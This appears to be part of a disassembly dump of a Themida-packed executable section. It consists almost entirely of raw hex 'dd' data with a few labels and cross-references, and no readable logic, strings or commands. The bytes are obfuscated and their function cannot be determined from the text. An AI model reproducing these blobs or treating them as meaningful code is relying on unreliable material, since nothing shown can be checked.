dd 0F19A8F99h, 1D402AC5h, 0EC85B496h, 750BAC45h, 200E9ECCh
dd 49A342AFh, 0DF8627FAh, 2072DD46h, 0A7136FD4h, 8205B5BDh
dd 0BD5C4CFCh, 0B5FBE53Eh, 49A33B94h, 36D76C3Fh, 96h, 9C820AACh
dd 942DD46Dh, 86B45DF3h, 0BF901EBh, 47A2EE99h, 55F023E4h
dd 806E1EB4h, 439CEE0Fh, 0E38A2553h, 5EFC24Ah, 0A23565ECh
dd 9F36660Dh, 0EE742CF8h, 331B439Ch, 0D3BD588Ah, 5080AE78h
dd 0EF7220B5h, 92AB94CBh, 6F927CA1h, 9B0CFAE7h, 5439CEFh
dd 9FCFB8Ah, 0F6C95197h, 0B1D1BF55h, 58419700h, 2757DE85h
dd 34D570A2h, 0A92C228Dh, 0C4DD6E6Dh, 9644E5Ch, 6F67EF3Fh
dd 26CBEBD9h, 0AA723B8Ch, 86264BBCh, 299A8837h, 74378626h
dd 0A54619A1h, 75259E10h, 0A3F21687h, 0A48E6149h, 6B01F981h
dd 0F25CCDBBh, 0D4A749A3h, 0D77E1945h, 5E4C543Eh, 479EEE3Eh
dd 61F424E5h, 53812AC0h, 8E7811B8h, 5FBEEE75h, 2DFFA95Fh
dd 0C358F956h, 0B259EC1Ch, 33CBB8E6h, 62AC3F25h, 2454FDADh
dd 0CB4CBD91h, 0D697E0F3h, 0CE670EA7h, 1242432Dh, 8030DE73h
dd 0F3CB2192h, 0FF705EE0h, 4AE0F3CAh, 861CEF77h, 0F3CB2798h
dd 0B59F72E0h, 4AF184B4h, 63F994C3h, 1EB8ABAh, 4877DE8h
dd 0CBFDCB23h, 8FF89138h, 3642571Ch, 35C0A248h, 6AC5AF50h
dd 0B54272DCh, 0D62B2386h, 4426CA2Bh, 0C263FCA3h, 0BF56862Dh
dd 0B34E8029h, 7089730Ch, 14EFh, 405E6500h, 0F231A290h
dd 0A97C49A3h, 0CD7F4D40h, 6953D7EBh, 6AFB2C9Dh, 790C3CC3h
dd 7E194BD2h, 8A2350D7h, 98295CE3h, 9E376AF1h, 0A84170F7h
dd 0B14C7A01h, 0B857830Ah, 89526711h, 4C281E2h, 81000000h
dd 4EAh, 24148700h, 2404895Ch, 43D968h, 240C8900h, 560D68h
dd 243C8900h, 1167BA52h, 0F9B91AC9h, 1EB41F2h, 24148BD1h
dd 4C481h, 8B540000h, 0C481243Ch, 4, 5FBE5651h, 31349364h
dd 5E042474h, 8108478Fh, 645F0877h, 34FF3493h, 0C4835F24h
dd 2434FF04h, 4C48159h, 0E9000000h, 0FFFC734Fh, 0BE61499Dh
dd 42503990h, 0F1DFCB79h, 0B09C3B8h, 0FFC50306h, 0DAD6A3E0h
dd 18DB997Dh, 0DBBADE3Eh, 9D180B47h, 95D6AC22h, 629C2123h
dd 3A9E621Fh, 0B94C5351h, 1BFEAC27h, 7414A96Dh, 0E5AB3F5Eh
dd 0B89B0D48h, 0B01C5C1Ch, 0E72FE213h, 0CA900F10h, 0D4787E64h
dd 552CDF6Ch, 167C0A02h, 3934232Eh, 1403C126h, 2871AD6Ch
dd 3B04EB4Dh, 0E9041FCCh, 5B5h, 1EB35283h, 17AC4B77h, 12A74270h
dd 0CA13C6Bh, 0A9F3265h, 699C576Fh, 6F9C43D8h, 689A41D6h
dd 619138CDh, 0F66431C6h, 98E89708h, 0F9CBE243h, 58A1FC2Ch
dd 0C52402BFh, 1DA44BECh, 14C257EAh, 0B59F3E6Bh, 5BF184B4h
dd 42E984B2h, 4FEE1AA9h, 0C250FA8h, 1BC25585h, 1FB2E48Dh
dd 0B32A9B89h, 0A27549A3h, 0EC8BB7B8h, 20EE8145h, 992FC6F6h
dd 8027C2F0h, 4FF6FDE7h, 4EF58A1Dh, 5BE2891Ch, 7DE88F2Eh
dd 8535EA34h, 0B376E7D5h, 0EEC149A3h, 0A3B3A91Ah, 3721F449h
dd 0DC710436h, 0DC720535h, 0B3CD3E2Ch, 501849A3h, 0A3B2F162h
dd 0C8693C49h, 8BF9C5DEh, 7349A3B3h, 0D96C46Dh, 0BAA445E0h
dd 0C60FD15Fh, 1419AEFEh, 61h, 69FC2C78h, 0F28BF6C2h, 166F49A3h
dd 79671708h, 49A3F208h, 0C3F18053h, 0FEE88128h, 0AEC030A5h
dd 1AA19h, 250E0000h, 0FB64F7Ch, 5F8B8C76h, 669219C0h
dd 6A9920C7h, 649039CFh, 3FC6DFC9h, 45CC7312h, 2ED57C17h
dd 8753D35Dh, 0D0FC2AF4h, 147D1847h, 0AA60FC6h, 0D065067Bh
dd 0C95EF929h, 68F92C57h, 6F0E3AC1h, 45AD56D9h, 349506F4h
dd 0DE049A3h, 7FB397A4h, 12CB7C95h, 74901304h, 0DCA1D42Bh
dd 0C15C8A19h, 4AA3D6D7h, 9F8D244Eh, 49A3E12Eh, 0DA3DA679h
dd 0CE63045Dh, 0CA60F727h, 8AB90447h, 0AE98D6B8h, 45E00E95h
dd 52E5179Eh, 5FF224ABh, 0CB3C2AB8h, 1649A3A6h, 47D18A43h
dd 0F03E21C7h, 0AF09F7EEh, 62E519h, 25490000h, 0F2168775h
dd 8E6149A3h, 0E070A3A4h, 0A3F281F2h, 58F9CC49h, 61FC2AB1h
dd 0D563F6BAh, 89D386Bh, 0EC932E61h, 6B42DB5Eh, 0AF6367A4h
dd 0FC95C4C5h, 4AD4B755h, 0AEDA6184h, 0C9B76719h, 49A3DC58h
dd 0DB67D0A3h, 8D536BDDh, 40DDD1BBh, 41000000h, 0C168F92Ch
dd 0C66D083Ah, 230D1B56h, 4EC055F0h, 0B8497C25h, 9D4FB011h
dd 2F0407B7h, 77A3A48Eh, 0F76531D8h, 0DF49A380h, 0DE87B886h
dd 0EC731AABh, 9C8627BAh, 0AF319243h, 14819h, 25AC0000h
dd 3C341CA2h, 0FF681D40h, 0EA8DFA09h, 696A5489h, 72F9A03Bh
dd 4FC0AE42h, 9A49A2FFh, 0E09026C7h, 0A2FF81F2h, 4C31CC49h
dd 4982AE66h, 0A230DAEh, 57C8569Fh, 39F599D4h, 0CFB9CC79h
dd 0EA17A0CEh, 0F1982B5Dh, 7710B758h, 0F07841D6h, 0FA7462F8h
dd 1547A2CFh, 0CC29AC42h, 62F37E41h, 6DE4B21Bh, 81FF5944h
dd 0C7F77E97h, 0D7781542h, 44119442h, 39D400B4h, 0B85A3D0h
dd 55F02021h, 0E6013CBFh, 53D54634h, 4D20439Ch, 0FE754EE4h
dd 60ECFE6Ch, 7D6708EAh, 5A2D9864h, 4984439Ch, 982151FFh
dd 8D26CD68h, 0A957ECh, 4E4F39D4h, 59E0871Eh, 75F88E29h
dd 0C06F8DFFh, 24056EA0h, 0B6FD264Eh, 65162F19h, 84B462ACh
dd 785D5CF1h, 621FB5F1h, 18Bh, 8A820AC6h, 0CDC144F4h, 0D8774DCFh
dd 0AA1B099Fh, 0F549A3B1h, 44F23822h, 0F47A2B9h, 5E07953Ch
dd 9490CD30h, 2E5802F2h, 72A2A38Dh, 67973ED3h, 72A229D0h
dd 75A52CD3h, 86B43BE2h, 1CAB44EBh, 81C98EEFh, 38CB0EADh
dd 992CF097h, 1DD68F8Fh, 62F52513h, 47761FCDh, 0DF6E07AEh
dd 0D87118AFh, 424095EEh, 7A9A1FB6h, 0C2000000h
dd 0A950EB19h, 260BA710h, 0A86A663Bh, 830AF2BEh, 0EA0BF98Fh
dd 9549A3F2h, 0CDA92CC2h, 1FBE7D77h, 7AE477Ah, 0CAE3CD6Eh
dd 0A3998DFEh, 8A33B149h, 821BC25Bh, 23F33D98h, 54C5B39Ch
dd 9F49A399h, 0EC952BCCh, 93015FBAh, 4F8207C5h, 0CEBCC4AEh
dd 49A2F7ADh, 3FEF8558h, 0A2F7E051h, 6E582B49h, 1B09B967h
dd 49A2F7AAh, 0CE3F2DF5h, 1949A2F7h, 0C0BBA546h, 0A7h
dd 8A820A36h, 7D184BF4h, 2B9D8B93h, 6847A2EEh, 4EF590BFh
dd 0FED1CBB5h, 0F590BF68h, 0B2CBB54Eh, 0C65CFB2Bh, 0A5406D16h
dd 9CEE60D1h, 0EED8AB43h, 751040E7h, 0EE4A02CEh, 9F1439Ch
dd 788D1886h, 0EAF82Ah, 7DAD9BA5h, 0C61E8222h, 0AC185FB8h
dd 716A9C0Ah, 0DB7011B2h, 0FC928A12h, 0F45E2979h, 9C2B9506h
dd 0A40DE043h, 0A08A0192h, 849DAA98h, 15E84197h, 58B7E76Eh
dd 0DF409488h, 0D41767F4h, 0F1A3C5B7h, 9D08AF50h, 3ACBFEA7h
dd 0B510FA93h, 1B139B6Bh, 0C952D585h, 0C8662DC2h, 5360A690h
dd 9E3B8CBAh, 0AC436CBh, 6F48A82h, 479EF7F9h, 3CCA7144h
dd 21C86793h, 2CCD689Ah, 88114142h, 430BF5Ah, 8C33C869h
dd 9422C95Ch, 7920BFEBh, 0F7B0F6E0h, 4E45A4BBh, 93C36DBBh
dd 86B55EF4h, 0C1AB44EBh, 6E5C0CBAh, 41840AFDh, 8A8B7548h
dd 8D14BB5Ah, 0B11CC35Eh, 4070DE68h, 396910A5h, 376F79Eh
dd 0EC000000h, 0FB2C7C5Eh, 0C3CC36Ah, 194BD279h, 2350D77Eh
dd 295CE38Ah, 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h
dd 686711B8h, 16DBh, 89243489h, 4C681E6h, 83000000h, 348704EEh
dd 89535C24h, 4C381E3h, 83000000h, 1C8704EBh, 34895C24h
dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 50241C89h
dd 0B0AA9B8h, 8BC68906h, 0C4832404h, 1C8B5404h, 4C48324h
dd 0D5685351h, 5B1A595Eh, 0E381DBF7h, 3A093E89h, 32FCB81h
dd 0F3811508h, 35082327h, 15BD989h, 593189D9h, 52241C8Bh
dd 0C281E289h, 4, 8704C283h, 0FF5C2414h, 815E2434h, 4C4h
dd 6D2DE900h, 0F879FFFCh, 897E0B5h, 0FBCB8F4h, 0C503060Bh
dd 0BA36E0FFh, 0A7BC7C4Fh, 55B81955h, 66075CA3h, 0C6281B98h
dd 1B04B6Fh, 773E258Ah, 31020F02h, 0BF40063Dh, 0A55C7824h
dd 2AE753FBh, 29A767DBh, 2DE3467Eh, 191B51A5h, 1FB5076Eh
dd 99A1311Ch, 0A7DB0A87h, 0D33916C5h, 3D7975F6h, 0D4D029E5h
dd 0DC7550F7h, 176F3B8Eh, 123446E9h, 12474022h, 0C18B76F1h
dd 6D9B58Bh, 4EB0607h, 0
dd 2991B58Bh, 95890607h, 6071EF9h, 18B1858Dh, 0BD890607h
dd 6072D35h, 5E96050h, 0D8000000h, 0B21B0AA7h, 24048961h
dd 6AF88B66h, 0BF006A00h, 7908C787h, 58C0Fh, 81660000h
dd 8DF8A8E7h, 0B128785h, 8D858906h, 6006070Eh, 53C1BF0Fh
dd 0C083615Bh, 51006A05h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 11E837A0h, 0EB000000h
dd 5AF72F5Dh, 0B72E29ECh, 877D7F2Ah, 0C8F03105h, 0E850905Eh
dd 0Ah, 9C20AEFBh, 8A86646Eh, 5250C3C3h, 71ADBF66h, 0A4BF310Fh
dd 5A227020h, 6A905E58h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 747FC351h, 0BC8917CEh
dd 7418501h, 6A0607h, 12E9h, 27580900h, 90C004DDh, 0D3E35F8Bh
dd 0F22F124Ch, 6A55904Ah, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 95FF8F3Eh
dd 6071E3Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 18h, 0DCC35343h, 98A1E04Fh, 5FFA8B53h, 93D59D8Dh, 6A060Ah
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 564582C3h, 668E7D84h, 0FF90DCB1h, 50006AD3h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 3C8384CCh
dd 1FD1BD89h, 85FF0607h, 6072F59h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 6EC35040h, 6BC7812Bh, 665D2B11h
db 8Bh, 0FEh
word_57DA46 dw 2E9h ; DATA XREF: Themida_:0053D64Co
db 9, 2 dup(0)
byte_57DA4B db 0E8h ; DATA XREF: Themida_:0053CF00o
align 10h
dd 91ED815Dh, 6A060B12h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1C042444h, 42000000h, 0F439C352h, 0ED3B2063h
dd 66745EF6h, 8BCFEDBFh, 70C5DB5h, 11BD0306h, 81060708h
dd 720D5BDh, 7D006h, 0D9860F00h, 6A000001h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 2BA9C355h
dd 70285BDh, 0B58B5606h, 6070471h, 0F19D8B5Eh, 6A060714h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 0A64FC355h, 7B428A4Fh, 59BD896Fh, 81060702h
dd 100E3h, 0B5B58B00h, 0B060700h, 0FD850FDBh, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 0FD96C350h, 0A6190D2Ah, 0EC5BD0Bh, 0BD8B0607h
dd 6072B09h, 10D1BD83h, 0F00060Bh, 6D84h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 1C009AFBh, 0BF0F921Fh, 5B92BEF1h, 0B3E961A4h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h
dd 46000000h, 0CA70C356h, 0E7CAC5A4h, 3E006C75h, 0FE9h
dd 0DB57E800h, 6142A8C7h, 0C3240901h, 2D0E5075h, 327DBD8Bh
dd 85C70607h, 60B10D1h, 1, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 91C35646h, 8B575DE3h, 7142DB5h, 40E906h
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 0BD8B8FC3h, 6070DF5h, 10D185C7h, 60Bh, 0EE80000h
dd 5A000000h, 42A4D91Eh, 1EFE8E05h, 0AC131155h, 9D8D5F69h
dd 60714F1h, 45BD8Bh, 0BD030607h, 6070E25h, 0FEFF2381h
dd 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 0ADA26BC3h, 3ECE3D1Fh, 0CE990h, 0EC5C0000h
dd 0DBBA334Bh, 5079B958h, 830F9202h, 0
aFmJ db 'f▄шj',0
db 50h, 0E8h, 3
dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
dd 4851C350h, 0DD810B19h, 29601ECEh, 7191DBDh, 61FA8B06h
dd 4C3F6F5h, 55840Fh, 0CF810000h, 324521E1h, 2F99589h
dd 95FF0607h, 60729EDh, 14E950F8h, 0CB000000h, 63770545h
dd 948FC1F5h, 961A2E02h, 0B80B6ACAh, 895A87ECh, 6A2404h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 0A867EEC3h, 767663E2h, 0E9B158E3h, 40Ch, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 39C35646h, 67A3BA6Bh
dd 0C7816607h, 0BD2BE32Fh, 6071B8Dh, 816600B0h, 0E6CF14F6h
dd 56006A70h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 0BBF630B2h, 9BCEB098h, 81668524h, 0E48A33DEh
dd 56006A71h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 0CF2A278Fh, 0D8B60FFCh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 61C35545h, 1995891Eh, 0BA06070Bh
dd 6, 23118589h, 0C38B0607h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 0B1C35343h, 0B58B2874h, 6070381h
dd 6A04E8C1h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 0D9EC353h, 175899C5h, 0F9BE6663h
dd 0C1958904h, 66060703h, 0F38BE2F7h, 8501D82Bh, 60707C1h
dd 8E850h, 0EDAB0000h, 898E9666h, 11E8F3D5h, 0B4000000h
dd 0D8B6A48Dh, 3EA6CCFDh, 179C7738h, 0AE829ED7h, 5F5F5F50h
dd 0FF241C89h, 720D5B5h, 0FDB58B06h, 1060718h, 70895B5h
dd 6995FF06h, 6606070Dh, 0B0BDEFBFh, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 576B54CFh
dd 8BDD47C4h, 73129B5h, 6A70E606h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0BF45C352h
dd 8509EE47h, 6071381h, 0CE9h, 0CCB3CF00h, 0FFA63F3Ch
dd 0F8407E56h, 6A71E4A2h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 19042444h, 46000000h, 0E9D4C356h, 457B50C8h
dd 30559529h, 613C0607h, 21E830Fh, 0B60F0000h, 398529D8h
dd 66060713h, 0BA2C7BBEh, 6, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 2C35040h, 1E924C53h, 0E9BA2801h
dd 8, 0E94FDB5Fh, 3F9A28E1h, 5A1CE681h, 0C38B0125h, 3859D89h
dd 0E8C10607h, 0F78B6604h, 0C53F2BEh, 0E2F76659h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0ABC35343h, 0FCED2D7h
dd 0D82BF2B7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 19C35747h, 0E1783763h, 6658B3E9h, 0D82BF88Bh, 16E880Fh
dd 85890000h, 60700DDh, 7B9h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 40FA8EC9h
dd 0C34ABE66h, 6A00C183h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 0D870C352h, 0B38E267h
dd 333D9D89h, 0D93B0607h, 10E860Fh, 0BD290000h, 6071249h
dd 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 1784C356h, 396437EFh, 89B12CFCh
dd 70761BDh, 4C1F606h, 0B8840Fh, 95FF0000h, 60729EDh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 34C35646h, 0AFDBD89h
dd 0BE90607h, 95000000h, 6A37F501h, 7CCC7356h, 6A5B5286h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 1D16C353h, 0FDE14433h, 0B529645Bh, 6072135h
dd 0B61B58Bh, 0C32B0607h, 1B59B503h, 343D0607h, 0F000008h
dd 3D86h, 6890F00h, 9000000h, 719B98Dh, 46E906h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 78CB04C3h, 880F8B55h, 6, 1FD19589h, 0C08B0607h, 0CE8h
dd 9EF83C00h, 0ADF3B73Dh, 9D5D6186h, 0E1B589D9h, 5F060712h
dd 0D88BC38Bh, 11E9h, 0DC66900h, 2D44AFFDh, 0C2AF0B4Fh
dd 0FA7384BCh, 0BD8B1073h, 6072E6Dh, 2E5185C7h, 51BD0607h
dd 6A7104h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
dd 51410000h, 0C08BB9C3h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 0AC35646h, 7B884B33h, 0FE85Dh, 12FE0000h
dd 1F055D19h, 9F0013C5h, 1A332BA7h, 0BD895699h, 6071259h
dd 9D895E5Eh, 60728A1h, 20D5BD81h, 7D00607h, 850F0000h
dd 3Fh, 0BFD8D89h, 85FF0607h, 60720D5h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 17h, 68C35646h, 0F0EF22Bh
dd 282h, 8BFE8B00h, 816660F9h, 66690FC1h, 0FF61DA8Bh, 720D5B5h
dd 95FFF906h, 6070D69h, 13B58589h, 81900607h, 0A9CBF4E7h
dd 57006A71h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h
dd 0C3574700h, 14AFCD3Eh, 0C0B70F60h, 3BA9CA81h, 9D8B60D7h
dd 6072BD1h, 57006A61h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1804h, 0C3574700h, 0F7EBF66h, 10E93Ah, 18320000h, 3065116Fh
dd 0B7700883h, 3C44E0CCh, 6A9077h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 8928C6C3h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0BC35545h, 0F6AA4FC6h
dd 13E951BDh, 66000000h, 809CF281h, 4C526BD1h, 35616EE3h
dd 2E3A5ADDh, 0BD033742h, 60711C9h, 0DE9h, 24AFDD00h, 6539EF19h
dd 4B1770A8h, 6A8C3Ch, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 94C997C3h, 6B8E68D4h, 0F5CCF251h
dd 19D8B60h, 3106071Fh, 7266DBDh, 38C0F06h, 66000000h
dd 8B66FE8Bh, 28E961DEh, 6AFFFFF7h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 2BB3C357h
dd 8786EB1Fh, 8BD9F7C4h, 704F9BDh, 6AC18B06h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
dd 777CC351h, 0EE8h, 3055A700h, 74F61393h, 5E5C89F7h, 8B408742h
dd 71FEDBDh, 4EB5E06h, 0
dd 0F9850960h, 906071Fh, 7109195h, 6A6106h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 180424h, 50400000h, 65FE97C3h
dd 0BD89DCD7h, 607044Dh, 18B1858Dh, 6A0607h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 140424h, 52420000h, 0B70F13C3h
dd 0DE890FEh, 1B000000h, 41AD0428h, 0BAF195C6h, 0A420E6C1h
dd 9BBE6653h, 505F5FA6h, 7FBFC7BFh, 0EE9906Bh, 90000000h
dd 0A3A5037Ah, 0E02CFD78h, 9161F2E4h, 0F8B70FB1h, 8E0F006Ah
dd 1Fh, 13E8h, 0A94A4500h, 7010E83Dh, 0A8D791AFh, 0BCDC7DF2h
dd 23D8B1Eh, 9DDBD8Bh, 6A5E0607h, 0FBB70F00h, 1DBB858Dh
dd 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
dd 51410000h, 757FF2C3h, 0DF0B9FF4h, 585BD31h, 0C0830607h
dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h
dd 0C3514100h, 0BD89692Ah, 6073295h, 24048950h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0B2C35040h, 0BD89FC67h
dd 60712C5h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 2FB814C3h, 8BFE0CD8h, 8B006AF8h
dd 73035BDh, 3D95FF06h, 8B06071Eh, 70FDDBDh, 0D59D8D06h
dd 6A060A93h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1C042444h, 45000000h, 9E26C355h, 683F5E83h, 1E9A133h
dd 707F1BDh, 6AD3FF06h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 3123C352h, 7006DBDh
dd 5985FF06h, 6A06072Fh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 86CDC350h, 0BF661281h
dd 9DE90199h, 0E8000008h, 0
dd 0C5ED815Dh, 6A060B1Dh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 99BAC351h, 0E2251AE7h
dd 4CDBD8Bh, 0BD810607h, 60720D5h, 7D0h, 1D7860Fh, 0BD8B0000h
dd 6070B5Dh, 21A99D8Bh, 6A0607h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 170424h, 52420000h, 0D7E70CC3h, 372CBE2Eh
dd 0E38164C6h, 100h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 27C35040h, 2EFDB280h, 0FDB0B43h, 0E085h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 0B16A1847h, 5209BE66h, 14E8h, 2CD6300h
dd 2C4657EDh, 0D0624C43h, 74392C44h, 0E7C47750h, 0F3EE81DFh
dd 5F0DD8E5h, 1BC9BD83h, 0F00060Bh, 3484h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 8166F834h, 0E90238C7h, 0A8h, 7E8h, 8D4B5600h, 0B9EDE4E1h
dd 0C985C75Fh, 1060B1Bh, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0A606C355h
dd 0B1BD8B00h, 0E9060700h, 68h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 51C35646h, 68E0FC4h, 29000000h
dd 711659Dh, 0C985C706h, 60B1Bh, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 3D35C355h
dd 13E9h, 75647300h, 0A1B72BCBh, 4A42B345h, 0E5B4D440h
dd 0D2987D16h, 21A99D8Dh, 6A0607h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 150424h, 56460000h, 66B18CC3h, 2381FB8Bh
dd 0FFFFFEFFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 30C35141h, 0DC147BD1h, 0F1853425h, 28A0F0Ah, 8B000000h
dd 0DB8C66FBh, 0CE8h, 590C8900h, 80A686D8h, 4FBBDBFBh
dd 6820F49h, 0F000000h, 8Ch, 0C3F65F00h, 56840F04h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 6716C353h, 751B58Bh, 95FF0607h, 60729EDh
dd 0BE9h, 58949D00h, 9422F9C8h, 3CD55877h, 0F525050h, 22BE5731h
dd 5E05F1B3h, 489585Ah, 6840F24h, 89000000h, 73295B5h
dd 3E6E906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 0FB360C3h, 8D293019h, 60702E1h
dd 8B6000B0h, 0C99589FBh, 6106070Ah, 0E6F38B66h, 0E4FA8B70h
dd 57006A71h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 6060A500h, 12898589h, 0CB90607h, 6114B6F1h
dd 29258501h, 0F610607h, 0BD89D8B6h, 607236Dh, 6BAh, 0A7BE6600h
dd 6AC38BC8h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 6FCBC350h, 5D9A96AAh, 0F3601A08h
dd 0E8C1F08Bh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 9042F14Dh, 12E9EE9Dh
dd 2E55BD8Bh, 0F7660607h, 51006AE2h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0DE9F203h
dd 12000000h, 0BAFC7FA3h, 0E05C22Eh, 2F03A488h, 1C5B523h
dd 0D82B0607h, 8BDE8A60h, 72AC58Dh, 89506106h, 0BF66241Ch
dd 0B5FFD07Eh, 60720D5h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 0C8C35141h, 45981686h, 0FF331C74h, 70D6995h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h
dd 0C3514100h, 0E85E5189h, 5, 6F941A54h, 87F6811Dh, 5F2BB5A3h
dd 8F0F00B0h, 18h, 45B58960h, 0E906070Eh, 0Bh, 0C6F273FCh
dd 0CCCEDB80h, 615B43C9h, 0BF6670E6h, 71E4EE18h, 0B69B58Bh
dd 613C0607h, 232830Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1B0424h, 56460000h, 0D99E3CC3h, 7E711324h
dd 459D89C9h, 0F060708h, 6AD8B6h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 383D79C3h, 7A6C07ECh
dd 0BA61F860h, 6, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 67C35242h, 2D7DDD96h, 0FC2A62AEh, 10E9h, 1AC5F400h
dd 408C77Bh, 0AC97F48Dh, 2ED02C8Dh, 0CE878h, 548B0000h
dd 6ECAB287h, 6DED502Ah, 48BFBB77h, 5F513010h, 6AC38Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 2390ECC3h, 7055DBDh, 4E8C106h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 25C35646h, 9D891460h, 60719C5h
dd 0F5E2F766h, 6650D82Bh, 5F2EB9BEh, 50006A58h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 2B536395h
dd 0D880FD8h, 0E9000001h, 5, 918F8458h, 7B937h, 8B660000h
dd 0C183F0h, 0A748CF81h, 0D93B220Ch, 0EA860Fh, 12BE0000h
dd 66353325h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 8BA7D5C3h, 713EDBDh, 4C1F606h, 0B0840Fh
